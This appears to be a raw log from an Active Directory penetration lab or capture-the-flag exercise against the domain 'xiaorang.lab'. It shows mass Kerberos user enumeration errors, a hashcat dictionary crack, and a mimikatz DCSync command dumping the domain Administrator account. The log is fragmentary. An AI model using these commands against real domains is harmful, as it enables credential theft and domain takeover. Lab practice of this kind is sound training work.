KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] User ganjian@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
┌──(root㉿kali)-[/home/kali] └─# hashcat -a 0 --force ss.txt /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting in autodetect mode
You have enabled --force to bypass dangerous warnings and errors! This can hide serious problems and should only be done when debugging. Do not report hashcat issues encountered when using --force.
Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
.#####. mimikatz 2.2.0 (x86) #18362 Feb 29 2020 11:13:10 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /domain:xiaorang.lab /user:administrator [DC] 'xiaorang.lab' will be the domain [DC] 'DC-PROGAME.xiaorang.lab' will be the DC server [DC] 'administrator' will be the user account
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000200 ( NORMAL_ACCOUNT ) Account expiration : 1601/1/1 8:00:00 Password last change : 2025/11/16 16:21:06 Object Security ID : S-1-5-21-3623938633-4064111800-2925858365-500 Object Relative ID : 500
Maybe you can find something interesting on this server. ======================================= What you may not know is that many objects in this domain are moved from other domains.